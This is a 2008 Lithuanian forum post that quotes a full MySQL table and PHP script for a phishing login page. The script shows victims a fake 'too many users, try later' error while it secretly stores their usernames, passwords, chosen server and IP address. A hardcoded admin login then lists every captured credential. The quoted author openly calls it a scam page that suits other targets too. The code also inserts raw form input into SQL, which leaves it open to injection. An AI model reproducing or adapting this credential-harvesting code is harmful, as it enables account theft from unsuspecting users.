Parašė Narysx· 2008 Gru. 16 20:12:13
Mantux94 parašė:
mysql uzklausa:
CREATE TABLE `accounts` (
`name` VARCHAR( 50 ) NOT NULL ,
`pass` VARCHAR( 50 ) NOT NULL ,
`server` VARCHAR( 50 ) NOT NULL ,
`ip` VARCHAR( 50 ) NOT NULL
);
cia sukurk kaip connect.php
<?php
$link = mysql_connect('DBADRESAS', 'DBVARTOTOJAS, 'DBPASW');
if (!$link) {
die('Error : ' . mysql_error());
}
$db_selected = mysql_select_db('DBBAZESVARDAS', $link);
if (!$db_selected) {
die ('Error : ' . mysql_error());
}
?>
cia lenteles
<?php
if (isset($_POST['submit'])) {
if ($_POST['name'] == 'ADMINONAME') {
if ($_POST['pass'] == 'ADMINOPASS') {
include 'connect.php';
$sql = "SELECT * FROM accounts";
$a = mysql_query($sql);
while ($b = mysql_fetch_array($a)) {
echo " Login: <b>".$b['name']."</b> Pass: <b>".$b['pass']."</b><br>";
}
echo mysql_error();
}
} else {
echo "<a style='color: red'>* Atsiprašome pabandykite vėliau, šiuo metu prisijungę per daug žmonių.</a><br><br>";
include 'connect.php';
$ip = $_SERVER['REMOTE_ADDR'];
$sql = "INSERT INTO accounts (name, pass, server, ip) VALUES ('".$_POST['name']."', '".$_POST['pass']."', '".$_POST['option']."', '".$ip."')";
$a = mysql_query($sql);
echo mysql_error();
echo form();
}
} else {
echo form();
}
function form() {
?>
<form method="POST">
Login: <br> <input type="text" name="name" style="border: 2px solid #FF9933; background-color: #ffffff; margin: 2px"><br>
Slaptažodis: <br><input name="pass" type="password" style="border: 2px solid #FF9933; background-color: #ffffff; margin: 2px"><br>
<br>
<input type="submit" name="submit" value="Prisijungti" style="border: 2px solid #FF9933; background-color: #ffffff; margin: 2px">
</form>
<?php
cia yra ones scam page bet puikiai tinka ir kitur ;)
kkk laukiu. ;)